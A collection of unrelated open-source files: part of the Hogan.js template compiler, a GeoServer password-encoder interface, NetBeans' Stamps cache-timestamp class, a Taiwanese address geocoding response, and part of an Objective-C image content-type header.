function tagChange(tag, text, index) {
if (text.charAt(index) != tag.charAt(0)) {
return false;
}
for (var i = 1, l = tag.length; i < l; i++) {
if (text.charAt(index + i) != tag.charAt(i)) {
return false;
}
}
return true;
}
function buildTree(tokens, kind, stack, customTags) {
var instructions = [],
opener = null,
token = null;
while (tokens.length > 0) {
token = tokens.shift();
if (token.tag == '#' || token.tag == '^' || isOpener(token, customTags)) {
stack.push(token);
token.nodes = buildTree(tokens, token.tag, stack, customTags);
instructions.push(token);
} else if (token.tag == '/') {
if (stack.length === 0) {
throw new Error('Closing tag without opener: /' + token.n);
}
opener = stack.pop();
if (token.n != opener.n && !isCloser(token.n, opener.n, customTags)) {
throw new Error('Nesting error: ' + opener.n + ' vs. ' + token.n);
}
opener.end = token.i;
return instructions;
} else {
instructions.push(token);
}
}
if (stack.length > 0) {
throw new Error('missing closing tag: ' + stack.pop().n);
}
return instructions;
}
function isOpener(token, tags) {
for (var i = 0, l = tags.length; i < l; i++) {
if (tags[i].o == token.n) {
token.tag = '#';
return true;
}
}
}
function isCloser(close, open, tags) {
for (var i = 0, l = tags.length; i < l; i++) {
if (tags[i].c == close && tags[i].o == open) {
return true;
}
}
}
function writeCode(tree) {
return 'var _=this;_.b(i=i||"");' + walk(tree) + 'return _.fl();';
}
Hogan.generate = function (code, text, options) {
if (options.asString) {
return 'function(c,p,i){' + code + ';}';
}
return new Hogan.Template(new Function('c', 'p', 'i', code), text, Hogan, options);
}
function esc(s) {
return s.replace(rSlash, '\\\\')
.replace(rQuot, '\\\"')
.replace(rNewline, '\\n')
.replace(rCr, '\\r');
}
function chooseMethod(s) {
return (~s.indexOf('.')) ? 'd' : 'f';
}
function walk(tree) {
var code = '';
for (var i = 0, l = tree.length; i < l; i++) {
var tag = tree[i].tag;
if (tag == '#') {
code += section(tree[i].nodes, tree[i].n, chooseMethod(tree[i].n),
tree[i].i, tree[i].end, tree[i].otag + " " + tree[i].ctag);
} else if (tag == '^') {
code += invertedSection(tree[i].nodes, tree[i].n,
chooseMethod(tree[i].n));
} else if (tag == '<' || tag == '>') {
code += partial(tree[i]);
} else if (tag == '{' || tag == '&') {
code += tripleStache(tree[i].n, chooseMethod(tree[i].n));
} else if (tag == '\n') {
code += text('"\\n"' + (tree.length-1 == i ? '' : ' + i'));
} else if (tag == '_v') {
code += variable(tree[i].n, chooseMethod(tree[i].n));
} else if (tag === undefined) {
code += text('"' + esc(tree[i]) + '"');
}
}
return code;
}
function section(nodes, id, method, start, end, tags) {
return 'if(_.s(_.' + method + '("' + esc(id) + '",c,p,1),' +
'c,p,0,' + start + ',' + end + ',"' + tags + '")){' +
'_.rs(c,p,' +
'function(c,p,_){' +
walk(nodes) +
'});c.pop();}';
}
function invertedSection(nodes, id, method) {
return 'if(!_.s(_.' + method + '("' + esc(id) + '",c,p,1),c,p,1,0,0,"")){' +
walk(nodes) +
'};';
}
function partial(tok) {
return '_.b(_.rp("' + esc(tok.n) + '",c,p,"' + (tok.indent || '') + '"));';
}
function tripleStache(id, method) {
return '_.b(_.' + method + '("' + esc(id) + '",c,p,0));';
}
function variable(id, method) {
return '_.b(_.v(_.' + method + '("' + esc(id) + '",c,p,0)));';
}
function text(id) {
return '_.b(' + id + ');';
}
Hogan.parse = function(tokens, text, options) {
options = options || {};
return buildTree(tokens, '', [], options.sectionTags || []);
},
Hogan.cache = {};
Hogan.compile = function(text, options) {
// options
//
// asString: false (default)
//
// sectionTags: [{o: '_foo', c: 'foo'}]
// An array of object with o and c fields that indicate names for custom
// section tags. The example above allows parsing of {{_foo}}{{/foo}}.
//
// delimiters: A string that overrides the default delimiters.
// Example: "<% %>"
//
options = options || {};
var key = text + '||' + !!options.asString;
var t = this.cache[key];
if (t) {
return t;
}
t = this.generate(writeCode(this.parse(this.scan(text, options.delimiters), text, options)), text, options);
return this.cache[key] = t;
};
})(typeof exports !== 'undefined' ? exports : Hogan);
| {
"pile_set_name": "Github"
} |
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.security.password;
import java.io.IOException;
import org.geoserver.security.GeoServerSecurityManager;
import org.geoserver.security.GeoServerUserGroupService;
import org.springframework.beans.factory.BeanNameAware;
import org.springframework.security.crypto.password.PasswordEncoder;
/**
* General Geoserver password encoding interface
*
* @author christian
*/
public interface GeoServerPasswordEncoder extends PasswordEncoder, BeanNameAware {
public static final String PREFIX_DELIMTER = ":";
/** Initialize this encoder. */
void initialize(GeoServerSecurityManager securityManager) throws IOException;
/** Initialize this encoder for a {@link GeoServerUserGroupService} object. */
void initializeFor(GeoServerUserGroupService service) throws IOException;
/** @return the {@link PasswordEncodingType} */
PasswordEncodingType getEncodingType();
/** The name of the password encoder. */
String getName();
/** @return true if this encoder has encoded encPass */
boolean isResponsibleForEncoding(String encPass);
/**
* Decodes an encoded password. Only supported for {@link PasswordEncodingType#ENCRYPT} and
* {@link PasswordEncodingType#PLAIN} encoders, ie those that return <code>true</code> from
* {@link #isReversible()}.
*
* @param encPass The encoded password.
*/
String decode(String encPass) throws UnsupportedOperationException;
/**
* Decodes an encoded password to a char array.
*
* @see #decode(String)
*/
char[] decodeToCharArray(String encPass) throws UnsupportedOperationException;
/**
* Encodes a raw password from a char array.
*
* @see #encodePassword(char[], Object)
*/
String encodePassword(char[] password, Object salt);
/**
* Encodes a raw password from a String.
*
* @see #encodePassword(String, Object)
*/
String encodePassword(String password, Object salt);
/**
* Validates a specified "raw" password (as char array) against an encoded password.
*
* @see {@link #isPasswordValid(String, char[], Object)}
*/
boolean isPasswordValid(String encPass, char[] rawPass, Object salt);
/**
* Validates a specified "raw" password (as char array) against an encoded password.
*
* @see {@link #isPasswordValid(String, String, Object)}
*/
boolean isPasswordValid(String encPass, String rawPass, Object salt);
/**
* @return a prefix which is stored with the password. This prefix must be unique within all
* {@link GeoServerPasswordEncoder} implementations.
* <p>Reserved:
* <p>plain digest1 crypt1
* <p>A plain text password is stored as
* <p>plain:password
*/
String getPrefix();
/**
* Is this encoder available without installing the unrestricted policy files of the java
* cryptographic extension
*/
boolean isAvailableWithoutStrongCryptogaphy();
/**
* Flag indicating if the encoder can decode an encrypted password back into its original plain
* text form.
*/
boolean isReversible();
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.DataInput;
import java.io.DataInputStream;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Locale;
import java.util.Random;
import java.util.Set;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicLong;
import java.util.concurrent.atomic.AtomicReference;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import org.openide.modules.Places;
import org.openide.util.Exceptions;
import org.openide.util.NbBundle;
/**
* Support for optimal checking of time stamps of certain files in
* NetBeans directory structure.
*
* @author Jaroslav Tulach <[email protected]>
* @since 2.9
*/
public final class Stamps {
private static final Logger LOG = Logger.getLogger(Stamps.class.getName());
private static AtomicLong moduleJARs;
private static File moduleNewestFile;
private static File[] fallbackCache;
private static boolean populated;
private static Boolean clustersChanged;
private Worker worker = new Worker();
private Stamps() {
}
/** This class can be executed from command line to perform various checks
* on installed NetBeans, however outside of running NetBeans.
*
*/
static void main(String... args) {
if (args.length == 1 && "reset".equals(args[0])) { // NOI18N
moduleJARs = null;
Clusters.clear();
clustersChanged = null;
fallbackCache = null;
stamp(false);
return;
}
if (args.length == 1 && "init".equals(args[0])) { // NOI18N
moduleJARs = null;
Clusters.clear();
clustersChanged = null;
fallbackCache = null;
stamp(true);
return;
}
if (args.length == 1 && "clear".equals(args[0])) { // NOI18N
moduleJARs = null;
Clusters.clear();
clustersChanged = null;
fallbackCache = null;
return;
}
}
private static final Stamps MODULES_JARS = new Stamps();
/** Creates instance of stamp that checks timestamp for all files that affect
* module classloading and related caches.
*/
public static Stamps getModulesJARs() {
return MODULES_JARS;
}
/** Finds out the time of last modifications of files that influnce
* this cache. Each cached file needs to be "younger".
* @return time in ms since epoch
*/
public long lastModified() {
return moduleJARs();
}
/** Checks whether a cache exists
*
* @param cache name of the cache
* @return true if the cache exists and is not out of date
*/
public boolean exists(String cache) {
return file(cache, null) != null;
}
/** Opens the access to cache object as a stream.
* @param name name of the cache
* @return stream to read from the cache or null if the cache is not valid
*/
public InputStream asStream(String cache) {
ByteBuffer bb = asByteBuffer(cache, false, false);
if (bb == null) {
return null;
}
return new ByteArrayInputStream(bb.array());
}
/** Getter for mmapped buffer access to the cache.
* @param cache the file to access
* @return mmapped read only buffer
*/
public MappedByteBuffer asMappedByteBuffer(String cache) {
return (MappedByteBuffer)asByteBuffer(cache, true, true);
}
/** Returns the stamp for this caches.
* @return a date, each cache needs to be newer than this date
*/
/** Opens the access to cache object as a stream.
* @param name name of the cache
* @return stream to read from the cache or null if the cache is not valid
*/
public ByteBuffer asByteBuffer(String cache) {
return asByteBuffer(cache, true, false);
}
final File file(String cache, int[] len) {
if (clustersChanged()) {
return null;
}
checkPopulateCache();
synchronized (this) {
if (worker.isProcessing(cache)) {
LOG.log(Level.FINE, "Worker processing when asking for {0}", cache); // NOI18N
return null;
}
}
return fileImpl(cache, len, moduleJARs());
}
private ByteBuffer asByteBuffer(String cache, boolean direct, boolean mmap) {
int[] len = new int[1];
File cacheFile = file(cache, len);
if (cacheFile == null) {
return null;
}
try {
FileChannel fc = new FileInputStream(cacheFile).getChannel();
ByteBuffer master;
if (mmap) {
master = fc.map(FileChannel.MapMode.READ_ONLY, 0, len[0]);
master.order(ByteOrder.LITTLE_ENDIAN);
} else {
master = direct ? ByteBuffer.allocateDirect(len[0]) : ByteBuffer.allocate(len[0]);
int red = fc.read(master);
if (red != len[0]) {
LOG.warning("Read less than expected: " + red + " expected: " + len + " for " + cacheFile); // NOI18N
return null;
}
master.flip();
}
fc.close();
return master;
} catch (IOException ex) {
LOG.log(Level.WARNING, "Cannot read cache " + cacheFile, ex); // NOI18N
return null;
}
}
/** Method for registering updates to caches.
* @param updater the callback to start when flushing caches
* @param file name of the file to store the cache into
* @param append write from scratch or append?
*/
public void scheduleSave(Updater updater, String cache, boolean append) {
boolean firstAdd;
firstAdd = scheduleSaveImpl(updater, cache, append);
LOG.log(firstAdd ? Level.FINE : Level.FINER,
"Scheduling save for {0} cache", cache
);
Clusters.scheduleSave(this);
}
final boolean scheduleSaveImpl(Updater updater, String cache, boolean append) {
synchronized (worker) {
return worker.addStorage(new Store(updater, cache, append));
}
}
/** Flushes all caches.
* @param delay the delay to wait with starting the parsing, if zero, that also means
* we want to wait for the end of parsing
*/
public void flush(int delay) {
synchronized (worker) {
worker.start(delay);
}
}
/** Waits for the worker to finish */
public void shutdown() {
waitFor(true);
}
public void discardCaches() {
discardCachesImpl(moduleJARs);
}
private static void discardCachesImpl(AtomicLong al) {
File user = Places.getUserDirectory();
long now = System.currentTimeMillis();
if (user != null) {
File f = new File(user, ".lastModified");
if (f.exists()) {
f.setLastModified(now);
} else {
f.getParentFile().mkdirs();
try {
f.createNewFile();
} catch (IOException ex) {
LOG.log(Level.WARNING, "Cannot create " + f, ex);
}
}
}
if (al != null) {
al.set(now);
}
}
final void waitFor(boolean noNotify) {
Worker wait;
synchronized (worker) {
flush(0);
wait = worker;
}
wait.waitFor(noNotify);
}
/** Computes and returns timestamp for all files that affect
* module classloading and related caches.
* @return
*/
static long moduleJARs() {
AtomicLong local = moduleJARs;
if (local == null) {
local = new AtomicLong();
AtomicReference<File> newestFile = new AtomicReference<File>();
stamp(true, local, newestFile);
moduleJARs = local;
moduleNewestFile = newestFile.get();
}
return local.longValue();
}
//
// Implementation. As less dependecies on other NetBeans clases, as possible, please.
// This will be called externally from a launcher.
//
private static AtomicLong stamp(boolean checkStampFile) {
AtomicLong result = new AtomicLong();
AtomicReference<File> newestFile = new AtomicReference<File>();
stamp(checkStampFile, result, newestFile);
return result;
}
private static void stamp(boolean checkStampFile, AtomicLong result, AtomicReference<File> newestFile) {
StringBuilder sb = new StringBuilder();
Set<File> processedDirs = new HashSet<File>();
String[] relativeDirs = Clusters.relativeDirsWithHome();
String home = System.getProperty ("netbeans.home"); // NOI18N
if (home != null) {
long stamp = stampForCluster (new File (home), result, newestFile, processedDirs, checkStampFile, true, null);
sb.append(relativeDirs[0]).append('=').append(stamp).append('\n');
}
String[] drs = Clusters.dirs();
for (int i = 0; i < drs.length; i++) {
final File clusterDir = new File(drs[i]);
long stamp = stampForCluster(clusterDir, result, newestFile, processedDirs, checkStampFile, true, null);
if (stamp != -1) {
sb.append("cluster.").append(relativeDirs[i + 1]).append('=').append(stamp).append('\n');
}
}
File user = Places.getUserDirectory();
if (user != null) {
AtomicInteger crc = new AtomicInteger();
stampForCluster(user, result, newestFile, new HashSet<File>(), false, false, crc);
sb.append("user=").append(result.longValue()).append('\n');
sb.append("crc=").append(crc.intValue()).append('\n');
sb.append("locale=").append(Locale.getDefault()).append('\n');
sb.append("branding=").append(NbBundle.getBranding()).append('\n');
sb.append("java.version=").append(System.getProperty("java.version")).append('\n');
sb.append("java.vm.version=").append(System.getProperty("java.vm.version")).append('\n');
File checkSum = new File(Places.getCacheDirectory(), "lastModified/all-checksum.txt");
if (!compareAndUpdateFile(checkSum, sb.toString(), result)) {
discardCachesImpl(result);
}
}
}
private static long stampForCluster(
File cluster, AtomicLong result, AtomicReference<File> newestFile, Set<File> hashSet,
boolean checkStampFile, boolean createStampFile, AtomicInteger crc
) {
File stamp = new File(cluster, ".lastModified"); // NOI18N
long time;
if (checkStampFile && (time = stamp.lastModified()) > 0) {
if (time > result.longValue()) {
newestFile.set(stamp);
result.set(time);
}
return time;
}
if (Places.getUserDirectory() != null) {
stamp = new File(new File(Places.getCacheDirectory(), "lastModified"), clusterLocalStamp(cluster));
if (checkStampFile && (time = stamp.lastModified()) > 0) {
if (time > result.longValue()) {
newestFile.set(stamp);
result.set(time);
}
return time;
}
} else {
createStampFile = false;
}
File configDir = new File(new File(cluster, "config"), "Modules"); // NOI18N
File modulesDir = new File(cluster, "modules"); // NOI18N
AtomicLong clusterResult = new AtomicLong();
AtomicReference<File> newestInCluster = new AtomicReference<File>();
if (highestStampForDir(configDir, newestInCluster, clusterResult, crc) && highestStampForDir(modulesDir, newestInCluster, clusterResult, crc)) {
// ok
} else {
if (!cluster.isDirectory()) {
// skip non-existing clusters`
return -1;
}
}
if (clusterResult.longValue() > result.longValue()) {
newestFile.set(newestInCluster.get());
result.set(clusterResult.longValue());
}
if (createStampFile) {
try {
stamp.getParentFile().mkdirs();
stamp.createNewFile();
stamp.setLastModified(clusterResult.longValue());
} catch (IOException ex) {
System.err.println("Cannot write timestamp to " + stamp); // NOI18N
}
}
return clusterResult.longValue();
}
private static boolean highestStampForDir(File file, AtomicReference<File> newestFile, AtomicLong result, AtomicInteger crc) {
if (file.getName().equals(".nbattrs")) { // NOI18N
return true;
}
File[] children = file.listFiles();
if (children == null) {
if (crc != null) {
crc.addAndGet(file.getName().length());
}
long time = file.lastModified();
if (time > result.longValue()) {
newestFile.set(file);
result.set(time);
}
return false;
}
for (File f : children) {
highestStampForDir(f, newestFile, result, crc);
}
return true;
}
private static boolean compareAndUpdateFile(File file, String content, AtomicLong result) {
try {
byte[] expected = content.getBytes("UTF-8"); // NOI18N
byte[] read = new byte[expected.length];
FileInputStream is = null;
boolean areCachesOK;
boolean writeFile;
long lastMod;
try {
is = new FileInputStream(file);
int len = is.read(read);
areCachesOK = len == read.length && is.available() == 0 && Arrays.equals(expected, read);
writeFile = !areCachesOK;
lastMod = file.lastModified();
} catch (FileNotFoundException notFoundEx) {
// ok, running for the first time, no need to invalidate the cache
areCachesOK = true;
writeFile = true;
lastMod = result.get();
} finally {
if (is != null) {
is.close();
}
}
if (writeFile) {
file.getParentFile().mkdirs();
FileOutputStream os = new FileOutputStream(file);
os.write(expected);
os.close();
if (areCachesOK) {
file.setLastModified(lastMod);
}
} else {
if (lastMod > result.get()) {
result.set(lastMod);
}
}
return areCachesOK;
} catch (IOException ex) {
ex.printStackTrace();
return false;
}
}
private static void deleteCache(File cacheFile) throws IOException {
int fileCounter = 0;
if (cacheFile.exists()) {
// all of this mess is here because Windows can't delete mmaped file.
File tmpFile = new File(cacheFile.getParentFile(), cacheFile.getName() + "." + fileCounter++);
tmpFile.delete(); // delete any leftover file from previous session
boolean renamed = false;
Random r = null;
for (int i = 0; i < 10; i++) {
renamed = cacheFile.renameTo(tmpFile); // try to rename it
if (renamed) {
break;
}
LOG.log(Level.INFO, "cannot rename (#{0}): {1}", new Object[]{i, cacheFile}); // NOI18N
// try harder
System.gc();
System.runFinalization();
LOG.info("after GC"); // NOI18N
if (r == null) {
r = new Random();
}
try {
final int ms = r.nextInt(1000) + 1;
Thread.sleep(ms);
LOG.log(Level.INFO, "Slept {0} ms", ms);
} catch (InterruptedException ex) {
LOG.log(Level.INFO, "Interrupted", ex); // NOI18N
}
}
if (!renamed) {
// still delete on exit, so next start is ok
cacheFile.deleteOnExit();
throw new IOException("Could not delete: " + cacheFile); // NOI18N
}
if (!tmpFile.delete()) {
tmpFile.deleteOnExit();
} // delete now or later
}
}
private static File findFallbackCache(String cache) {
String fallbackCacheLocation = System.getProperty("netbeans.fallback.cache"); // NOI18N
if ("none".equals(fallbackCacheLocation)) { // NOI18N
return null;
}
if (fallbackCache == null) {
fallbackCache = new File[0];
if (fallbackCacheLocation != null) {
File fallbackFile = new File(fallbackCacheLocation);
if (fallbackFile.isDirectory()) {
fallbackCache = new File[]{fallbackFile};
}
}
if (fallbackCache.length == 0 && Clusters.dirs().length >= 1) {
File fallback = new File(new File(new File(Clusters.dirs()[0]), "var"), "cache"); // NOI18N
if (fallback.isDirectory()) {
fallbackCache = new File[]{ fallback };
}
}
}
if (fallbackCache.length == 0) {
return null;
}
return new File(fallbackCache[0], cache);
}
static void checkPopulateCache() {
if (populated) {
return;
}
populated = true;
File cache = Places.getCacheDirectory();
String[] children = cache.list();
if (children != null && children.length > 0) {
return;
}
InputStream is = Stamps.getModulesJARs().asStream("populate.zip"); // NOI18N
if (is == null) {
return;
}
ZipInputStream zip = null;
FileOutputStream os = null;
try {
byte[] arr = new byte[4096];
LOG.log(Level.FINE, "Found populate.zip about to extract it into {0}", cache);
zip = new ZipInputStream(is);
for (;;) {
ZipEntry en = zip.getNextEntry();
if (en == null) {
break;
}
if (en.isDirectory()) {
continue;
}
File f = new File(cache, en.getName().replace('/', File.separatorChar));
f.getParentFile().mkdirs();
os = new FileOutputStream(f);
for (;;) {
int len = zip.read(arr);
if (len == -1) {
break;
}
os.write(arr, 0, len);
}
os.close();
}
zip.close();
} catch (IOException ex) {
LOG.log(Level.INFO, "Failed to populate {0}", cache);
}
}
private static boolean clustersChanged() {
if (clustersChanged != null) {
return clustersChanged;
}
final String clustersCache = "all-clusters.dat"; // NOI18N
File f = fileImpl(clustersCache, null, -1); // no timestamp check
if (f != null) {
DataInputStream dis = null;
try {
dis = new DataInputStream(new FileInputStream(f));
if (Clusters.compareDirs(dis)) {
return false;
}
} catch (IOException ex) {
return clustersChanged = true;
} finally {
if (dis != null) {
try {
dis.close();
} catch (IOException ex) {
LOG.log(Level.INFO, null, ex);
}
}
}
} else {
// missing cluster file signals caches are OK, for
// backward compatibility
return clustersChanged = false;
}
return clustersChanged = true;
}
private static File fileImpl(String cache, int[] len, long moduleJARs) {
File cacheFile = new File(Places.getCacheDirectory(), cache);
long last = cacheFile.lastModified();
if (last <= 0) {
LOG.log(Level.FINE, "Cache does not exist when asking for {0}", cache); // NOI18N
cacheFile = findFallbackCache(cache);
if (cacheFile == null || (last = cacheFile.lastModified()) <= 0) {
return null;
}
LOG.log(Level.FINE, "Found fallback cache at {0}", cacheFile);
}
if (moduleJARs > last) {
LOG.log(Level.FINE, "Timestamp does not pass when asking for {0}. Newest file {1}", new Object[] { cache, moduleNewestFile }); // NOI18N
return null;
}
long longLen = cacheFile.length();
if (longLen > Integer.MAX_VALUE) {
LOG.log(Level.WARNING, "Cache file is too big: {0} bytes for {1}", new Object[]{longLen, cacheFile}); // NOI18N
return null;
}
if (len != null) {
len[0] = (int)longLen;
}
LOG.log(Level.FINE, "Cache found: {0}", cache); // NOI18N
return cacheFile;
}
/** A callback interface to flush content of some cache at a suitable
* point in time.
*/
public static interface Updater {
/** Callback method to allow storage of the cache to a stream.
* If an excetion is thrown, cache is invalidated.
*
* @param os the stream to write to
* @throws IOException exception in case something goes wrong
*/
public void flushCaches(DataOutputStream os) throws IOException;
/** Callback method to notify the caller, that
* caches are successfully written.
*/
public void cacheReady();
}
/** Internal structure keeping info about storages.
*/
private static final class Store extends OutputStream {
final Updater updater;
final String cache;
final boolean append;
OutputStream os;
AtomicInteger delay;
int count;
public Store(Updater updater, String cache, boolean append) {
this.updater = updater;
this.cache = cache;
this.append = append;
}
public boolean store(AtomicInteger delay) {
assert os == null;
File cacheDir = Places.getCacheDirectory();
if (!cacheDir.isDirectory()) {
LOG.log(Level.WARNING, "Nonexistent cache directory: {0}", cacheDir); // NOI18N
return false;
}
File cacheFile = new File(cacheDir, cache); // NOI18N
boolean delete = false;
try {
LOG.log(Level.FINE, "Cleaning cache {0}", cacheFile);
if (!append) {
deleteCache(cacheFile);
}
cacheFile.getParentFile().mkdirs();
LOG.log(Level.FINE, "Storing cache {0}", cacheFile);
os = new FileOutputStream(cacheFile, append); //append new entries only
DataOutputStream dos = new DataOutputStream(new BufferedOutputStream(this, 1024 * 1024));
this.delay = delay;
updater.flushCaches(dos);
dos.close();
LOG.log(Level.FINE, "Done Storing cache {0}", cacheFile);
} catch (IOException ex) {
LOG.log(Level.WARNING, "Error saving cache {0}", cacheFile);
LOG.log(Level.INFO, ex.getMessage(), ex); // NOI18N
delete = true;
} finally {
if (os != null) {
try {
os.close();
} catch (IOException ex) {
LOG.log(Level.WARNING, "Error closing stream for " + cacheFile, ex); // NOI18N
}
os = null;
}
if (delete) {
cacheFile.delete();
cacheFile.deleteOnExit();
} else {
cacheFile.setLastModified(moduleJARs());
}
}
return !delete;
}
@Override
public void close() throws IOException {
os.close();
}
@Override
public void flush() throws IOException {
os.flush();
}
@Override
public void write(int b) throws IOException {
os.write(b);
count(1);
}
@Override
public void write(byte[] b) throws IOException {
os.write(b);
count(b.length);
}
@Override
public void write(byte[] b, int off, int len) throws IOException {
os.write(b, off, len);
count(len);
}
private void count(int add) {
count += add;
if (count > 64 * 1024) {
int wait = delay.get();
if (wait > 0) {
try {
Thread.sleep(wait);
} catch (InterruptedException ex) {
Exceptions.printStackTrace(ex);
}
}
count = 0;
}
}
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final Store other = (Store) obj;
if (!this.updater.equals(other.updater)) {
return false;
}
if (!this.cache.equals(other.cache)) {
return false;
}
return true;
}
@Override
public int hashCode() {
int hash = 7;
hash = 19 * hash + (this.updater != null ? this.updater.hashCode() : 0);
hash = 19 * hash + (this.cache != null ? this.cache.hashCode() : 0);
return hash;
}
@Override
public String toString() {
return cache;
}
} // end of Store
private final class Worker extends Thread {
private final LinkedList<Store> storages;
private final HashSet<String> processing;
private AtomicInteger delay;
private boolean noNotify;
public Worker() {
super("Flushing caches");
storages = new LinkedList<Stamps.Store>();
processing = new HashSet<String>();
setPriority(MIN_PRIORITY);
}
public synchronized void start(int time) {
if (delay == null) {
delay = new AtomicInteger(time);
super.start();
}
}
public synchronized boolean addStorage(Store s) {
boolean addNew = true;
processing.add(s.cache);
for (Iterator<Stamps.Store> it = storages.iterator(); it.hasNext();) {
Stamps.Store store = it.next();
if (store.equals(s)) {
it.remove();
addNew = false;
}
}
storages.add(s);
return addNew;
}
@Override
public void run() {
int before = delay.get();
for (int till = before; till >= 0; till -= 500) {
try {
synchronized (this) {
wait(500);
}
} catch (InterruptedException ex) {
LOG.log(Level.INFO, null, ex);
}
if (before != delay.get()) {
break;
}
}
if (before > 512) {
delay.compareAndSet(before, 512);
}
long time = System.currentTimeMillis();
LOG.log(Level.FINE, "Storing caches {0}", storages);
HashSet<Store> notify = new HashSet<Stamps.Store>();
for (;;) {
Store store;
synchronized (this) {
store = this.storages.poll();
if (store == null) {
// ready for new round of work
worker = new Worker();
break;
}
}
if (store.store(delay)) {
notify.add(store);
}
}
long much = System.currentTimeMillis() - time;
LOG.log(Level.FINE, "Done storing caches {0}", notify);
LOG.log(Level.FINE, "Took {0} ms", much);
processing.clear();
for (Stamps.Store store : notify) {
if (!noNotify) {
store.updater.cacheReady();
}
}
LOG.log(Level.FINE, "Notified ready {0}", notify);
}
final void waitFor(boolean noNotify) {
try {
this.noNotify = noNotify;
delay.set(0);
synchronized (this) {
notifyAll();
}
join();
} catch (InterruptedException ex) {
Exceptions.printStackTrace(ex);
}
}
private boolean isProcessing(String cache) {
return processing.contains(cache);
}
}
static String clusterLocalStamp(File cluster) {
return cluster.getName().replaceAll("\\.\\.", "__");
}
static String readRelativePath(DataInput dis) throws IOException {
String index = dis.readUTF();
if (index.isEmpty()) {
return index;
}
String relative = dis.readUTF();
if ("user".equals(index)) { // NOI18N
return System.getProperty("netbeans.user").concat(relative); // NOI18N
}
if ("home".equals(index)) { // NOI18N
return System.getProperty("netbeans.home").concat(relative); // NOI18N
}
if ("abs".equals(index)) { // NOI18N
return relative;
}
int indx = Integer.parseInt(index);
String[] _dirs = Clusters.dirs();
if (indx < 0 || indx >= _dirs.length) {
throw new IOException("Bad index " + indx + " for " + Arrays.toString(_dirs));
}
return _dirs[indx].concat(relative); // NOI18N
}
static void writeRelativePath(String path, DataOutput dos) throws IOException {
produceRelativePath(path, dos);
}
private static void produceRelativePath(String path, Object out) throws IOException {
if (path.isEmpty()) {
if (out instanceof DataOutput) {
DataOutput dos = (DataOutput)out;
dos.writeUTF(path);
}
return;
}
if (testWritePath(path, System.getProperty("netbeans.user"), "user", out)) { // NOI18N
return;
}
int cnt = 0;
for (String p : Clusters.dirs()) {
if (testWritePath(path, p, "" + cnt, out)) {
return;
}
cnt++;
}
if (testWritePath(path, System.getProperty("netbeans.home"), "home", out)) { // NOI18N
return;
}
LOG.log(Level.FINE, "Cannot find relative path for {0}", path); // NOI18N
doWritePath("abs", path, out); // NOI18N
}
private static boolean testWritePath(String path, String prefix, String codeName, Object out) throws IOException {
if (prefix == null || prefix.isEmpty()) {
return false;
}
if (path.startsWith(prefix)) {
final String relPath = path.substring(prefix.length());
doWritePath(codeName, relPath, out);
return true;
}
return false;
}
private static void doWritePath(String codeName, String relPath, Object out) throws IOException {
if (out instanceof DataOutput) {
DataOutput dos = (DataOutput) out;
dos.writeUTF(codeName);
dos.writeUTF(relPath);
} else {
@SuppressWarnings("unchecked")
Collection<String> coll = (Collection<String>) out;
coll.add(codeName);
coll.add(relPath);
}
}
static String findRelativePath(String file) {
List<String> arrayList = new ArrayList<String>();
try {
produceRelativePath(file, arrayList);
} catch (IOException ex) {
return file;
}
return arrayList.get(1);
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<string xmlns="http://tempuri.org/">{
"Info": [
{
"IsSuccess": "True",
"InAddress": "新北市板橋區莒光路17號",
"InSRS": "EPSG:4326",
"InFuzzyType": "[單雙號機制]+[最近門牌號機制]",
"InFuzzyBuffer": "0",
"InIsOnlyFullMatch": "False",
"InIsLockCounty": "True",
"InIsLockTown": "False",
"InIsLockVillage": "False",
"InIsLockRoadSection": "False",
"InIsLockLane": "False",
"InIsLockAlley": "False",
"InIsLockArea": "False",
"InIsSameNumber_SubNumber": "True",
"InCanIgnoreVillage": "True",
"InCanIgnoreNeighborhood": "True",
"InReturnMaxCount": "0",
"OutTotal": "1",
"OutMatchType": "完全比對",
"OutMatchCode": "[新北市]\tFULL:1",
"OutTraceInfo": "[新北市]\t { 完全比對 } 找到符合的門牌地址"
}
],
"AddressList": [
{
"FULL_ADDR": "新北市板橋區莒光里9鄰莒光路17號",
"COUNTY": "新北市",
"TOWN": "板橋區",
"VILLAGE": "莒光里",
"NEIGHBORHOOD": "9鄰",
"ROAD": "莒光路",
"SECTION": "",
"LANE": "",
"ALLEY": "",
"SUB_ALLEY": "",
"TONG": "",
"NUMBER": "17號",
"X": 121.469977,
"Y": 25.024780
}
]
}</string> | {
"pile_set_name": "Github"
} |
//
// Created by Fabrice Aneche on 06/01/14.
// Copyright (c) 2014 Dailymotion. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface NSData (ImageContentType)
/**
* Compute the content type for an image data
*
* @param data the input data
*
* @return the content type as string (i.e. image/jpeg, image/gif)
*/
+ (NSString *)sd_contentTypeForImageData:(NSData *)data;
@end
@interface NSData (ImageContentTypeDeprecated)
